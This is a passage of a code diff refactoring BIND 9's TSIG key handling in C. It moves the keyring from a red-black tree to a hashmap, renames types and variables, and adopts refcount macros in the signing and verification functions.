-			if (tkey->generated &&
-			    isc_refcount_current(&tkey->refs) == 1 &&
-			    tkey->inception != tkey->expire &&
-			    tkey->expire < now)
-			{
-				tsig_log(tkey, 2, "tsig expire: deleting");
-				/* delete the key */
-				dns_rbtnodechain_invalidate(&chain);
-				remove_fromring(tkey);
-				goto again;
-			}
-		}
-		result = dns_rbtnodechain_next(&chain, &foundname, origin);
-		if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-			dns_rbtnodechain_invalidate(&chain);
-			return;
-		}
-	}
-}
+	ring->magic = 0;
 
-static void
-destroyring(dns_tsig_keyring_t *ring) {
 	isc_refcount_destroy(&ring->references);
-	dns_rbt_destroy(&ring->keys);
 	isc_rwlock_destroy(&ring->lock);
-	isc_mem_putanddetach(&ring->mctx, ring, sizeof(dns_tsig_keyring_t));
+	isc_mem_putanddetach(&ring->mctx, ring, sizeof(dns_tsigkeyring_t));
 }
 
+#if DNS_TSIG_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_tsigkeyring, destroyring);
+#else
+ISC_REFCOUNT_IMPL(dns_tsigkeyring, destroyring);
+#endif
+
 /*
  * Look up the DST_ALG_ constant for a given name.
  */
-unsigned int
+dst_algorithm_t
 dns__tsig_algfromname(const dns_name_t *algorithm) {
-	int i;
-	int n = sizeof(known_algs) / sizeof(*known_algs);
-	for (i = 0; i < n; ++i) {
+	for (size_t i = 0; i < ARRAY_SIZE(known_algs); ++i) {
 		const dns_name_t *name = known_algs[i].name;
 		if (algorithm == name || dns_name_equal(algorithm, name)) {
 			return (known_algs[i].dstalg);
 		}
 	}
-	return (0);
-}
-
-/*
- * Convert an algorithm name into a pointer to the
- * corresponding pre-defined dns_name_t structure.
- */
-const dns_name_t *
-dns__tsig_algnamefromname(const dns_name_t *algorithm) {
-	int i;
-	int n = sizeof(known_algs) / sizeof(*known_algs);
-	for (i = 0; i < n; ++i) {
-		const dns_name_t *name = known_algs[i].name;
-		if (algorithm == name || dns_name_equal(algorithm, name)) {
-			return (name);
-		}
-	}
-	return (NULL);
-}
-
-/*
- * Test whether the passed algorithm is NOT a pointer to one of the
- * pre-defined known algorithms (and therefore one that has been
- * dynamically allocated).
- *
- * This will return an incorrect result if passed a dynamically allocated
- * dns_name_t that happens to match one of the pre-defined names.
- */
-bool
-dns__tsig_algallocated(const dns_name_t *algorithm) {
-	int i;
-	int n = sizeof(known_algs) / sizeof(*known_algs);
-	for (i = 0; i < n; ++i) {
-		const dns_name_t *name = known_algs[i].name;
-		if (algorithm == name) {
-			return (false);
-		}
-	}
-	return (true);
+	return (DST_ALG_UNKNOWN);
 }
 
 static isc_result_t
-restore_key(dns_tsig_keyring_t *ring, isc_stdtime_t now, FILE *fp) {
+restore_key(dns_tsigkeyring_t *ring, isc_stdtime_t now, FILE *fp) {
 	dst_key_t *dstkey = NULL;
 	char namestr[1024];
 	char creatorstr[1024];
@@ -501,10 +355,11 @@ restore_key(dns_tsig_keyring_t *ring, isc_stdtime_t now, FILE *fp) {
 	unsigned int inception, expire;
 	int n;
 	isc_buffer_t b;
-	dns_name_t *name, *creator, *algorithm;
+	dns_name_t *name = NULL, *creator = NULL, *algorithm = NULL;
 	dns_fixedname_t fname, fcreator, falgorithm;
 	isc_result_t result;
 	unsigned int dstalg;
+	dns_tsigkey_t *tkey = NULL;
 
 	n = fscanf(fp, "%1023s %1023s %u %u %1023s %4095s\n", namestr,
 		   creatorstr, &inception, &expire, algorithmstr, keystr);
@@ -544,7 +399,7 @@ restore_key(dns_tsig_keyring_t *ring, isc_stdtime_t now, FILE *fp) {
 	}
 
 	dstalg = dns__tsig_algfromname(algorithm);
-	if (dstalg == 0) {
+	if (dstalg == DST_ALG_UNKNOWN) {
 		return (DNS_R_BADALG);
 	}
 
@@ -555,9 +410,13 @@ restore_key(dns_tsig_keyring_t *ring, isc_stdtime_t now, FILE *fp) {
 		return (result);
 	}
 
-	result = dns_tsigkey_createfromkey(name, algorithm, dstkey, true,
+	result = dns_tsigkey_createfromkey(name, dstalg, dstkey, true, true,
 					   creator, inception, expire,
-					   ring->mctx, ring, NULL);
+					   ring->mctx, &tkey);
+	if (result == ISC_R_SUCCESS) {
+		result = dns_tsigkeyring_add(ring, tkey);
+	}
+	dns_tsigkey_detach(&tkey);
 	if (dstkey != NULL) {
 		dst_key_free(&dstkey);
 	}
@@ -576,7 +435,7 @@ dump_key(dns_tsigkey_t *tkey, FILE *fp) {
 	REQUIRE(tkey != NULL);
 	REQUIRE(fp != NULL);
 
-	dns_name_format(&tkey->name, namestr, sizeof(namestr));
+	dns_name_format(tkey->name, namestr, sizeof(namestr));
 	dns_name_format(tkey->creator, creatorstr, sizeof(creatorstr));
 	dns_name_format(tkey->algorithm, algorithmstr, sizeof(algorithmstr));
 	result = dst_key_dump(tkey->key, tkey->mctx, &buffer, &length);
@@ -591,61 +450,34 @@ dump_key(dns_tsigkey_t *tkey, FILE *fp) {
 }
 
 isc_result_t
-dns_tsigkeyring_dumpanddetach(dns_tsig_keyring_t **ringp, FILE *fp) {
+dns_tsigkeyring_dump(dns_tsigkeyring_t *ring, FILE *fp) {
 	isc_result_t result;
-	dns_rbtnodechain_t chain;
-	dns_name_t foundname;
-	dns_fixedname_t fixedorigin;
-	dns_name_t *origin;
-	isc_stdtime_t now;
-	dns_rbtnode_t *node;
-	dns_tsigkey_t *tkey;
-	dns_tsig_keyring_t *ring;
+	isc_stdtime_t now = isc_stdtime_now();
+	isc_hashmap_iter_t *it = NULL;
+	bool found = false;
 
-	REQUIRE(ringp != NULL && *ringp != NULL);
-
-	ring = *ringp;
-	*ringp = NULL;
-
-	if (isc_refcount_decrement(&ring->references) > 1) {
-		return (DNS_R_CONTINUE);
-	}
+	REQUIRE(VALID_TSIGKEYRING(ring));
 
-	isc_stdtime_get(&now);
-	dns_name_init(&foundname, NULL);
-	origin = dns_fixedname_initname(&fixedorigin);
-	dns_rbtnodechain_init(&chain);
-	result = dns_rbtnodechain_first(&chain, ring->keys, &foundname, origin);
-	if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-		dns_rbtnodechain_invalidate(&chain);
-		goto destroy;
-	}
+	isc_hashmap_iter_create(ring->keys, &it);
+	for (result = isc_hashmap_iter_first(it); result == ISC_R_SUCCESS;
+	     result = isc_hashmap_iter_next(it))
+	{
+		dns_tsigkey_t *tkey = NULL;
+		isc_hashmap_iter_current(it, (void **)&tkey);
 
-	for (;;) {
-		node = NULL;
-		dns_rbtnodechain_current(&chain, &foundname, origin, &node);
-		tkey = node->data;
-		if (tkey != NULL && tkey->generated && tkey->expire >= now) {
+		if (tkey->generated && tkey->expire >= now) {
 			dump_key(tkey, fp);
-		}
-		result = dns_rbtnodechain_next(&chain, &foundname, origin);
-		if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-			dns_rbtnodechain_invalidate(&chain);
-			if (result == ISC_R_NOMORE) {
-				result = ISC_R_SUCCESS;
-			}
-			goto destroy;
+			found = true;
 		}
 	}
+	isc_hashmap_iter_destroy(&it);
 
-destroy:
-	destroyring(ring);
-	return (result);
+	return (found ? ISC_R_SUCCESS : ISC_R_NOTFOUND);
 }
 
 const dns_name_t *
 dns_tsigkey_identity(const dns_tsigkey_t *tsigkey) {
-	REQUIRE(tsigkey == NULL || VALID_TSIG_KEY(tsigkey));
+	REQUIRE(tsigkey == NULL || VALID_TSIGKEY(tsigkey));
 
 	if (tsigkey == NULL) {
 		return (NULL);
@@ -653,34 +485,30 @@ dns_tsigkey_identity(const dns_tsigkey_t *tsigkey) {
 	if (tsigkey->generated) {
 		return (tsigkey->creator);
 	} else {
-		return (&tsigkey->name);
+		return (tsigkey->name);
 	}
 }
 
 isc_result_t
-dns_tsigkey_create(const dns_name_t *name, const dns_name_t *algorithm,
-		   unsigned char *secret, int length, bool generated,
-		   const dns_name_t *creator, isc_stdtime_t inception,
-		   isc_stdtime_t expire, isc_mem_t *mctx,
-		   dns_tsig_keyring_t *ring, dns_tsigkey_t **key) {
+dns_tsigkey_create(const dns_name_t *name, dst_algorithm_t algorithm,
+		   unsigned char *secret, int length, isc_mem_t *mctx,
+		   dns_tsigkey_t **key) {
 	dst_key_t *dstkey = NULL;
 	isc_result_t result;
-	unsigned int dstalg = 0;
 
 	REQUIRE(length >= 0);
 	if (length > 0) {
 		REQUIRE(secret != NULL);
 	}
 
-	dstalg = dns__tsig_algfromname(algorithm);
-	if (dns__tsig_algvalid(dstalg)) {
+	if (dns__tsig_algvalid(algorithm)) {
 		if (secret != NULL) {
 			isc_buffer_t b;
 
 			isc_buffer_init(&b, secret, length);
 			isc_buffer_add(&b, length);
 			result = dst_key_frombuffer(
-				name, dstalg, DNS_KEYOWNER_ENTITY,
+				name, algorithm, DNS_KEYOWNER_ENTITY,
 				DNS_KEYPROTO_DNSSEC, dns_rdataclass_in, &b,
 				mctx, &dstkey);
 			if (result != ISC_R_SUCCESS) {
@@ -691,36 +519,19 @@ dns_tsigkey_create(const dns_name_t *name, const dns_name_t *algorithm,
 		return (DNS_R_BADALG);
 	}
 
-	result = dns_tsigkey_createfromkey(name, algorithm, dstkey, generated,
-					   creator, inception, expire, mctx,
-					   ring, key);
+	result = dns_tsigkey_createfromkey(name, algorithm, dstkey, false,
+					   false, NULL, 0, 0, mctx, key);
 	if (dstkey != NULL) {
 		dst_key_free(&dstkey);
 	}
 	return (result);
 }
 
-void
-dns_tsigkey_attach(dns_tsigkey_t *source, dns_tsigkey_t **targetp) {
-	REQUIRE(VALID_TSIG_KEY(source));
-	REQUIRE(targetp != NULL && *targetp == NULL);
-
-	isc_refcount_increment(&source->refs);
-	*targetp = source;
-}
-
 static void
-tsigkey_free(dns_tsigkey_t *key) {
-	REQUIRE(VALID_TSIG_KEY(key));
+destroy_tsigkey(dns_tsigkey_t *key) {
+	REQUIRE(VALID_TSIGKEY(key));
 
 	key->magic = 0;
-	dns_name_free(&key->name, key->mctx);
-	if (dns__tsig_algallocated(key->algorithm)) {
-		dns_name_t *name;
-		DE_CONST(key->algorithm, name);
-		dns_name_free(name, key->mctx);
-		isc_mem_put(key->mctx, name, sizeof(dns_name_t));
-	}
 	if (key->key != NULL) {
 		dst_key_free(&key->key);
 	}
@@ -731,25 +542,19 @@ tsigkey_free(dns_tsigkey_t *key) {
 	isc_mem_putanddetach(&key->mctx, key, sizeof(dns_tsigkey_t));
 }
 
-void
-dns_tsigkey_detach(dns_tsigkey_t **keyp) {
-	REQUIRE(keyp != NULL && VALID_TSIG_KEY(*keyp));
-	dns_tsigkey_t *key = *keyp;
-	*keyp = NULL;
-
-	if (isc_refcount_decrement(&key->refs) == 1) {
-		isc_refcount_destroy(&key->refs);
-		tsigkey_free(key);
-	}
-}
+#if DNS_TSIG_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_tsigkey, destroy_tsigkey);
+#else
+ISC_REFCOUNT_IMPL(dns_tsigkey, destroy_tsigkey);
+#endif
 
 void
-dns_tsigkey_setdeleted(dns_tsigkey_t *key) {
-	REQUIRE(VALID_TSIG_KEY(key));
-	REQUIRE(key->ring != NULL);
+dns_tsigkey_delete(dns_tsigkey_t *key) {
+	REQUIRE(VALID_TSIGKEY(key));
 
 	RWLOCK(&key->ring->lock, isc_rwlocktype_write);
-	remove_fromring(key);
+	rm_lru(key);
+	rm_hashmap(key);
 	RWUNLOCK(&key->ring->lock, isc_rwlocktype_write);
 }
 
@@ -766,16 +571,16 @@ dns_tsig_sign(dns_message_t *msg) {
 	dns_rdataset_t *dataset = NULL;
 	isc_region_t r;
 	isc_stdtime_t now;
-	isc_mem_t *mctx;
+	isc_mem_t *mctx = NULL;
 	dst_context_t *ctx = NULL;
-	isc_result_t ret;
+	isc_result_t result;
 	unsigned char badtimedata[BADTIMELEN];
 	unsigned int sigsize = 0;
 	bool response;
 
 	REQUIRE(msg != NULL);
 	key = dns_message_gettsigkey(msg);
-	REQUIRE(VALID_TSIG_KEY(key));
+	REQUIRE(VALID_TSIGKEY(key));
 
 	/*
 	 * If this is a response, there should be a TSIG in the query with the
@@ -790,31 +595,24 @@ dns_tsig_sign(dns_message_t *msg) {
 
 	mctx = msg->mctx;
 
-	tsig.mctx = mctx;
-	tsig.common.rdclass = dns_rdataclass_any;
-	tsig.common.rdtype = dns_rdatatype_tsig;
-	ISC_LINK_INIT(&tsig.common, link);
+	now = msg->fuzzing ? msg->fuzztime : isc_stdtime_now();
+	tsig = (dns_rdata_any_tsig_t){
+		.mctx = mctx,
+		.common.rdclass = dns_rdataclass_any,
+		.common.rdtype = dns_rdatatype_tsig,
+		.common.link = ISC_LINK_INITIALIZER,
+		.timesigned = now + msg->timeadjust,
+		.fudge = DNS_TSIG_FUDGE,
+		.originalid = msg->id,
+		.error = response ? msg->querytsigstatus : dns_rcode_noerror,
+	};
+
 	dns_name_init(&tsig.algorithm, NULL);
 	dns_name_clone(key->algorithm, &tsig.algorithm);
 
-	isc_stdtime_get(&now);
-	tsig.timesigned = now + msg->timeadjust;
-	tsig.fudge = DNS_TSIG_FUDGE;
-
-	tsig.originalid = msg->id;
-
 	isc_buffer_init(&databuf, data, sizeof(data));
 
-	if (response) {
-		tsig.error = msg->querytsigstatus;
-	} else {
-		tsig.error = dns_rcode_noerror;
-	}
-
-	if (tsig.error != dns_tsigerror_badtime) {
-		tsig.otherlen = 0;
-		tsig.other = NULL;
-	} else {
+	if (tsig.error == dns_tsigerror_badtime) {
 		isc_buffer_t otherbuf;
 
 		tsig.otherlen = BADTIMELEN;
@@ -836,10 +634,10 @@ dns_tsig_sign(dns_message_t *msg) {
 		 * has validated at this point. This is why we include a
 		 * MAC length > 0 in the reply.
 		 */
-		ret = dst_context_create(key->key, mctx, DNS_LOGCATEGORY_DNSSEC,
-					 true, 0, &ctx);
-		if (ret != ISC_R_SUCCESS) {
-			return (ret);
+		result = dst_context_create(
+			key->key, mctx, DNS_LOGCATEGORY_DNSSEC, true, 0, &ctx);
+		if (result != ISC_R_SUCCESS) {
+			return (result);
 		}
 
 		/*
@@ -856,27 +654,28 @@ dns_tsig_sign(dns_message_t *msg) {
 
 			INSIST(msg->verified_sig);
 
-			ret = dns_rdataset_first(msg->querytsig);
-			if (ret != ISC_R_SUCCESS) {
+			result = dns_rdataset_first(msg->querytsig);
+			if (result != ISC_R_SUCCESS) {
 				goto cleanup_context;
 			}
 			dns_rdataset_current(msg->querytsig, &querytsigrdata);
-			ret = dns_rdata_tostruct(&querytsigrdata, &querytsig,
-						 NULL);
-			if (ret != ISC_R_SUCCESS) {
+			result = dns_rdata_tostruct(&querytsigrdata, &querytsig,
+						    NULL);
+			if (result != ISC_R_SUCCESS) {
 				goto cleanup_context;
 			}
 			isc_buffer_putuint16(&databuf, querytsig.siglen);
 			if (isc_buffer_availablelength(&databuf) <
-			    querytsig.siglen) {
-				ret = ISC_R_NOSPACE;
+			    querytsig.siglen)
+			{
+				result = ISC_R_NOSPACE;
 				goto cleanup_context;
 			}
 			isc_buffer_putmem(&databuf, querytsig.signature,
 					  querytsig.siglen);
 			isc_buffer_usedregion(&databuf, &r);
-			ret = dst_context_adddata(ctx, &r);
-			if (ret != ISC_R_SUCCESS) {
+			result = dst_context_adddata(ctx, &r);
+			if (result != ISC_R_SUCCESS) {
 				goto cleanup_context;
 			}
 			querytsig_ok = true;
@@ -888,8 +687,8 @@ dns_tsig_sign(dns_message_t *msg) {
 		isc_buffer_init(&headerbuf, header, sizeof(header));
 		dns_message_renderheader(msg, &headerbuf);
 		isc_buffer_usedregion(&headerbuf, &r);
-		ret = dst_context_adddata(ctx, &r);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_context_adddata(ctx, &r);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 
@@ -898,8 +697,8 @@ dns_tsig_sign(dns_message_t *msg) {
 		 */
 		isc_buffer_usedregion(msg->buffer, &r);
 		isc_region_consume(&r, DNS_MESSAGE_HEADERLEN);
-		ret = dst_context_adddata(ctx, &r);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_context_adddata(ctx, &r);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 
@@ -907,9 +706,9 @@ dns_tsig_sign(dns_message_t *msg) {
 			/*
 			 * Digest the name, class, ttl, alg.
 			 */
-			dns_name_toregion(&key->name, &r);
-			ret = dst_context_adddata(ctx, &r);
-			if (ret != ISC_R_SUCCESS) {
+			dns_name_toregion(key->name, &r);
+			result = dst_context_adddata(ctx, &r);
+			if (result != ISC_R_SUCCESS) {
 				goto cleanup_context;
 			}
 
@@ -917,14 +716,14 @@ dns_tsig_sign(dns_message_t *msg) {
 			isc_buffer_putuint16(&databuf, dns_rdataclass_any);
 			isc_buffer_putuint32(&databuf, 0); /* ttl */
 			isc_buffer_usedregion(&databuf, &r);
-			ret = dst_context_adddata(ctx, &r);
-			if (ret != ISC_R_SUCCESS) {
+			result = dst_context_adddata(ctx, &r);
+			if (result != ISC_R_SUCCESS) {
 				goto cleanup_context;
 			}
 
 			dns_name_toregion(&tsig.algorithm, &r);
-			ret = dst_context_adddata(ctx, &r);
-			if (ret != ISC_R_SUCCESS) {
+			result = dst_context_adddata(ctx, &r);
+			if (result != ISC_R_SUCCESS) {
 				goto cleanup_context;
 			}
 		}
@@ -936,8 +735,8 @@ dns_tsig_sign(dns_message_t *msg) {
 		isc_buffer_putuint48(&databuf, tsig.timesigned);
 		isc_buffer_putuint16(&databuf, tsig.fudge);
 		isc_buffer_usedregion(&databuf, &r);
-		ret = dst_context_adddata(ctx, &r);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_context_adddata(ctx, &r);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 
@@ -950,8 +749,8 @@ dns_tsig_sign(dns_message_t *msg) {
 			isc_buffer_putuint16(&databuf, tsig.otherlen);
 
 			isc_buffer_usedregion(&databuf, &r);
-			ret = dst_context_adddata(ctx, &r);
-			if (ret != ISC_R_SUCCESS) {
+			result = dst_context_adddata(ctx, &r);
+			if (result != ISC_R_SUCCESS) {
 				goto cleanup_context;
 			}
 
@@ -961,22 +760,22 @@ dns_tsig_sign(dns_message_t *msg) {
 			if (tsig.otherlen > 0) {
 				r.length = tsig.otherlen;
 				r.base = tsig.other;
-				ret = dst_context_adddata(ctx, &r);
-				if (ret != ISC_R_SUCCESS) {
+				result = dst_context_adddata(ctx, &r);
+				if (result != ISC_R_SUCCESS) {
 					goto cleanup_context;
 				}
 			}
 		}
 
-		ret = dst_key_sigsize(key->key, &sigsize);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_key_sigsize(key->key, &sigsize);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 		tsig.signature = isc_mem_get(mctx, sigsize);
 
 		isc_buffer_init(&sigbuf, tsig.signature, sigsize);
-		ret = dst_context_sign(ctx, &sigbuf);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_context_sign(ctx, &sigbuf);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_signature;
 		}
 		dst_context_destroy(&ctx);
@@ -998,14 +797,11 @@ dns_tsig_sign(dns_message_t *msg) {
 		tsig.signature = NULL;
 	}
 
-	ret = dns_message_gettemprdata(msg, &rdata);
-	if (ret != ISC_R_SUCCESS) {
-		goto cleanup_signature;
-	}
+	dns_message_gettemprdata(msg, &rdata);
 	isc_buffer_allocate(msg->mctx, &dynbuf, 512);
-	ret = dns_rdata_fromstruct(rdata, dns_rdataclass_any,
-				   dns_rdatatype_tsig, &tsig, dynbuf);
-	if (ret != ISC_R_SUCCESS) {
+	result = dns_rdata_fromstruct(rdata, dns_rdataclass_any,
+				      dns_rdatatype_tsig, &tsig, dynbuf);
+	if (result != ISC_R_SUCCESS) {
 		goto cleanup_dynbuf;
 	}
 
@@ -1016,42 +812,26 @@ dns_tsig_sign(dns_message_t *msg) {
 		tsig.signature = NULL;
 	}
 
-	ret = dns_message_gettempname(msg, &owner);
-	if (ret != ISC_R_SUCCESS) {
-		goto cleanup_rdata;
-	}
-	dns_name_copy(&key->name, owner);
+	dns_message_gettempname(msg, &owner);
+	dns_name_copy(key->name, owner);
 
-	ret = dns_message_gettemprdatalist(msg, &datalist);
-	if (ret != ISC_R_SUCCESS) {
-		goto cleanup_owner;
-	}
+	dns_message_gettemprdatalist(msg, &datalist);
 
-	ret = dns_message_gettemprdataset(msg, &dataset);
-	if (ret != ISC_R_SUCCESS) {
-		goto cleanup_rdatalist;
-	}
+	dns_message_gettemprdataset(msg, &dataset);
 	datalist->rdclass = dns_rdataclass_any;
 	datalist->type = dns_rdatatype_tsig;
 	ISC_LIST_APPEND(datalist->rdata, rdata, link);
-	RUNTIME_CHECK(dns_rdatalist_tordataset(datalist, dataset) ==
-		      ISC_R_SUCCESS);
+	dns_rdatalist_tordataset(datalist, dataset);
 	msg->tsig = dataset;
 	msg->tsigname = owner;
 
 	/* Windows does not like the tsig name being compressed. */
-	msg->tsigname->attributes |= DNS_NAMEATTR_NOCOMPRESS;
+	msg->tsigname->attributes.nocompress = true;
 
 	return (ISC_R_SUCCESS);
 
-cleanup_rdatalist:
-	dns_message_puttemprdatalist(msg, &datalist);
-cleanup_owner:
-	dns_message_puttempname(msg, &owner);
-	goto cleanup_rdata;
 cleanup_dynbuf:
 	isc_buffer_free(&dynbuf);
-cleanup_rdata:
 	dns_message_puttemprdata(msg, &rdata);
 cleanup_signature:
 	if (tsig.signature != NULL) {
@@ -1061,25 +841,25 @@ dns_tsig_sign(dns_message_t *msg) {
 	if (ctx != NULL) {
 		dst_context_destroy(&ctx);
 	}
-	return (ret);
+	return (result);
 }
 
 isc_result_t
 dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
-		dns_tsig_keyring_t *ring1, dns_tsig_keyring_t *ring2) {
+		dns_tsigkeyring_t *ring1, dns_tsigkeyring_t *ring2) {
 	dns_rdata_any_tsig_t tsig, querytsig;
 	isc_region_t r, source_r, header_r, sig_r;
 	isc_buffer_t databuf;
 	unsigned char data[32];
-	dns_name_t *keyname;
+	dns_name_t *keyname = NULL;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	isc_stdtime_t now;
-	isc_result_t ret;
-	dns_tsigkey_t *tsigkey;
+	isc_result_t result;
+	dns_tsigkey_t *tsigkey = NULL;
 	dst_key_t *key = NULL;
 	unsigned char header[DNS_MESSAGE_HEADERLEN];
 	dst_context_t *ctx = NULL;
-	isc_mem_t *mctx;
+	isc_mem_t *mctx = NULL;
 	uint16_t addcount, id;
 	unsigned int siglen;
 	unsigned int alg;
@@ -1090,7 +870,7 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 	tsigkey = dns_message_gettsigkey(msg);
 	response = is_response(msg);
 
-	REQUIRE(tsigkey == NULL || VALID_TSIG_KEY(tsigkey));
+	REQUIRE(tsigkey == NULL || VALID_TSIGKEY(tsigkey));
 
 	msg->verify_attempted = 1;
 	msg->verified_sig = 0;
@@ -1126,45 +906,33 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 	 */
 
 	keyname = msg->tsigname;
-	ret = dns_rdataset_first(msg->tsig);
-	if (ret != ISC_R_SUCCESS) {
-		return (ret);
+	result = dns_rdataset_first(msg->tsig);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 	dns_rdataset_current(msg->tsig, &rdata);
-	ret = dns_rdata_tostruct(&rdata, &tsig, NULL);
-	if (ret != ISC_R_SUCCESS) {
-		return (ret);
+	result = dns_rdata_tostruct(&rdata, &tsig, NULL);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 	dns_rdata_reset(&rdata);
 	if (response) {
-		ret = dns_rdataset_first(msg->querytsig);
-		if (ret != ISC_R_SUCCESS) {
-			return (ret);
+		result = dns_rdataset_first(msg->querytsig);
+		if (result != ISC_R_SUCCESS) {
+			return (result);
 		}
 		dns_rdataset_current(msg->querytsig, &rdata);
-		ret = dns_rdata_tostruct(&rdata, &querytsig, NULL);
-		if (ret != ISC_R_SUCCESS) {
-			return (ret);
+		result = dns_rdata_tostruct(&rdata, &querytsig, NULL);
+		if (result != ISC_R_SUCCESS) {
+			return (result);
 		}
 	}
-#if defined(__clang__) && (__clang_major__ < 3 ||                           \
-			   (__clang_major__ == 3 && __clang_minor__ < 2) || \
-			   (__clang_major__ == 4 && __clang_minor__ < 2))
-	/* false positive: http://llvm.org/bugs/show_bug.cgi?id=14461 */
-	else
-	{
-		memset(&querytsig, 0, sizeof(querytsig));
-	}
-#endif /* if defined(__clang__) && (__clang_major__ < 3 || (__clang_major__ == \
-	* 3                                                                    \
-	* && __clang_minor__ < 2) || (__clang_major__ == 4 && __clang_minor__  \
-	* < 2)) */
 
 	/*
 	 * Do the key name and algorithm match that of the query?
 	 */
 	if (response &&
-	    (!dns_name_equal(keyname, &tsigkey->name) ||
+	    (!dns_name_equal(keyname, tsigkey->name) ||
 	     !dns_name_equal(&tsig.algorithm, &querytsig.algorithm)))
 	{
 		msg->tsigstatus = dns_tsigerror_badkey;
@@ -1176,28 +944,32 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 	/*
 	 * Get the current time.
 	 */
-	isc_stdtime_get(&now);
+	if (msg->fuzzing) {
+		now = msg->fuzztime;
+	} else {
+		now = isc_stdtime_now();
+	}
 
 	/*
 	 * Find dns_tsigkey_t based on keyname.
 	 */
 	if (tsigkey == NULL) {
-		ret = ISC_R_NOTFOUND;
+		result = ISC_R_NOTFOUND;
 		if (ring1 != NULL) {
-			ret = dns_tsigkey_find(&tsigkey, keyname,
-					       &tsig.algorithm, ring1);
+			result = dns_tsigkey_find(&tsigkey, keyname,
+						  &tsig.algorithm, ring1);
 		}
-		if (ret == ISC_R_NOTFOUND && ring2 != NULL) {
-			ret = dns_tsigkey_find(&tsigkey, keyname,
-					       &tsig.algorithm, ring2);
+		if (result == ISC_R_NOTFOUND && ring2 != NULL) {
+			result = dns_tsigkey_find(&tsigkey, keyname,
+						  &tsig.algorithm, ring2);
 		}
-		if (ret != ISC_R_SUCCESS) {
+		if (result != ISC_R_SUCCESS) {
 			msg->tsigstatus = dns_tsigerror_badkey;
-			ret = dns_tsigkey_create(keyname, &tsig.algorithm, NULL,
-						 0, false, NULL, now, now, mctx,
-						 NULL, &msg->tsigkey);
-			if (ret != ISC_R_SUCCESS) {
-				return (ret);
+			result = dns_tsigkey_create(
+				keyname, dns__tsig_algfromname(&tsig.algorithm),
+				NULL, 0, mctx, &msg->tsigkey);
+			if (result != ISC_R_SUCCESS) {
+				return (result);
 			}
 			tsig_log(msg->tsigkey, 2, "unknown key");
 			return (DNS_R_TSIGVERIFYFAILURE);
@@ -1211,9 +983,9 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 	 * Check digest length.
 	 */
 	alg = dst_key_alg(key);
-	ret = dst_key_sigsize(key, &siglen);
-	if (ret != ISC_R_SUCCESS) {
-		return (ret);
+	result = dst_key_sigsize(key, &siglen);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 	if (dns__tsig_algvalid(alg)) {
 		if (tsig.siglen > siglen) {
@@ -1221,7 +993,8 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 			return (DNS_R_FORMERR);
 		}
 		if (tsig.siglen > 0 &&
-		    (tsig.siglen < 10 || tsig.siglen < ((siglen + 1) / 2))) {
+		    (tsig.siglen < 10 || tsig.siglen < ((siglen + 1) / 2)))
+		{
 			tsig_log(msg->tsigkey, 2,
 				 "signature length below minimum");
 			return (DNS_R_FORMERR);
@@ -1234,25 +1007,25 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 		sig_r.base = tsig.signature;
 		sig_r.length = tsig.siglen;
 
-		ret = dst_context_create(key, mctx, DNS_LOGCATEGORY_DNSSEC,
-					 false, 0, &ctx);
-		if (ret != ISC_R_SUCCESS) {
-			return (ret);
+		result = dst_context_create(key, mctx, DNS_LOGCATEGORY_DNSSEC,
+					    false, 0, &ctx);
+		if (result != ISC_R_SUCCESS) {
+			return (result);
 		}
 
 		if (response) {
 			isc_buffer_init(&databuf, data, sizeof(data));
 			isc_buffer_putuint16(&databuf, querytsig.siglen);
 			isc_buffer_usedregion(&databuf, &r);
-			ret = dst_context_adddata(ctx, &r);
-			if (ret != ISC_R_SUCCESS) {
+			result = dst_context_adddata(ctx, &r);
+			if (result != ISC_R_SUCCESS) {
 				goto cleanup_context;
 			}
 			if (querytsig.siglen > 0) {
 				r.length = querytsig.siglen;
 				r.base = querytsig.signature;
-				ret = dst_context_adddata(ctx, &r);
-				if (ret != ISC_R_SUCCESS) {
+				result = dst_context_adddata(ctx, &r);
+				if (result != ISC_R_SUCCESS) {
 					goto cleanup_context;
 				}
 			}
@@ -1284,8 +1057,8 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 		 */
 		header_r.base = (unsigned char *)header;
 		header_r.length = DNS_MESSAGE_HEADERLEN;
-		ret = dst_context_adddata(ctx, &header_r);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_context_adddata(ctx, &header_r);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 
@@ -1295,17 +1068,17 @@ dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
 		isc_buffer_usedregion(source, &source_r);
 		r.base = source_r.base + DNS_MESSAGE_HEADERLEN;
 		r.length = msg->sigstart - DNS_MESSAGE_HEADERLEN;
-		ret = dst_context_adddata(ctx, &r);
-		if (ret != ISC_R_SUCCESS) {
+		result = dst_context_adddata(ctx, &r);
+		if (result != ISC_R_SUCCESS) {
 			goto cleanup_context;
 		}
 
 		/*
 		 * Digest the key name.
 		 */
-		dns_name_toregion(&tsigkey->name, &r);
